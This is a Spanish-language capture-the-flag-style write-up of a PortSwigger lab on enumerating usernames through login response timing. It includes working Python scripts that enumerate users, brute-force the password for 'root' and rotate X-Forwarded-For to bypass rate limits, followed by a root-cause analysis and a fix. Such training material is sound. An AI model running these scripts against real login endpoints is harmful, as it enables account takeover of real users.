Username Enumeration via Response Timing — PortSwigger Lab
Enumeración de usuarios por side-channel de timing: el login con usuario válido y contraseña larga tarda >3s; bypass del rate limit con X-Forwarded-For.
Username Enumeration via Response Timing
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Media |
| Endpoint vulnerable | POST /login |
| Root cause | La app ejecuta una comparación de contraseña costosa solo cuando el usuario existe, creando un side-channel de timing; además, el rate limit es eludible vía X-Forwarded-For |
El endpoint aplica un hash de la contraseña solo cuando el usuario existe, de modo que el tiempo de respuesta es proporcional a la existencia de la cuenta. Enviando contraseñas muy largas se amplifica la diferencia de timing. El rate limit de intentos se evade con la cabecera X-Forwarded-For.
2. Technical Breakdown & Exploitation Flow
2.1 Benchmark del side-channel de timing
Con las credenciales propias se mide la latencia variando el input de password:
| Escenario | Latencia |
|---|---|
| Usuario incorrecto + password incorrecta | ~900 ms |
| Usuario correcto + password incorrecta | ~896 ms (casi idéntico) |
Usuario correcto + blob de strings (openssl rand -hex 200) |
~2.6 s |
| Usuario incorrecto + blob de strings | ~650 ms |
Conclusión: el usuario es correcto cuando la respuesta supera los ~3 segundos usando contraseñas largas.
2.2 Enumeración de usuarios con Python
El script envía una contraseña aleatoria de 699 caracteres por candidato y mide el tiempo de respuesta; cada request usa una IP distinta en X-Forwarded-For para evadir el rate limit:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep, time
from string import ascii_lowercase
import random
def fetchUsername(filename):
listUsername = list()
with open(filename) as fd:
for line in fd:
listUsername.append(line.strip())
return listUsername
def sendRequest(url, cookie, username, header):
randomPassword = ''.join(random.choices(ascii_lowercase, k=699))
loginData = {'username': username, 'password': randomPassword}
startTime = time()
requests.post(url, cookies=cookie, data=loginData, headers=header)
endTime = time()
if endTime - startTime >= 3:
print(f'[+] Found user: {username}')
def main():
url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}
userFileName = './users.txt'
listUsername = fetchUsername(userFileName)
count = 0
for username in listUsername:
count += 1
header = {'X-Forwarded-For': '1.1.1.' + str(count)}
thread = Thread(target=sendRequest, args=(url, cookie, username, header))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
El umbral >= 3 segundos marca a los usuarios existentes.
2.3 Enumeración de la contraseña
Una vez identificado el usuario (root), se fuerza la contraseña filtrando el error Invalid username or password. y rotando IPs en X-Forwarded-For:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def fetchPassword(filename):
listPassword = list()
with open(filename) as fd:
for line in fd:
listPassword.append(line.strip())
return listPassword
def sendRequest(url, cookie, password, header):
loginData = {'username': 'root', 'password': password}
loginRequestText = requests.post(url, cookies=cookie, data=loginData, headers=header).text
if 'Invalid username or password.' not in loginRequestText:
print(f'[+] Found password: {password}')
def main():
url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}
passwordFileName = './pass.txt'
listPassword = fetchPassword(passwordFileName)
count = 0
for password in listPassword:
count += 1
header = {'X-Forwarded-For': '1.1.2.' + str(count)}
thread = Thread(target=sendRequest, args=(url, cookie, password, header))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
3. Root Cause Analysis
La causa raíz es ejecutar la verificación de credenciales de forma condicionada a la existencia del usuario:
# Implementación vulnerable
user = db.get_user(request.username)
if user is None:
sleep(0.5) # Respuesta corta
return "Invalid username or password."
return verify_and_hash(user, request.password) # Coste O(len(password)) solo si existe
Con un password de ~700 caracteres, la operación de hashing domina la latencia y el side-channel se amplifica. El rate limit, además, cuenta por IP del header X-Forwarded-For sin verificar el origen real del encabezado.
4. Secure Remediation
Uniformar el coste computacional y validar el origen del proxy:
# Implementación segura
user = db.get_user(request.username)
generic_hash = compute_hash(random_salt, request.password) # Siempre se ejecuta
if user is None or not valid_credentials(user, request.password):
return "Invalid username or password" # Mismo texto y timing
El hash debe ejecutarse en ambos casos (usuario existente o no) con un coste constante. El proxy debe sobrescribir o eliminar X-Forwarded-For y el rate limit debe basarse en la IP real de la conexión, no en cabeceras controlables por el cliente.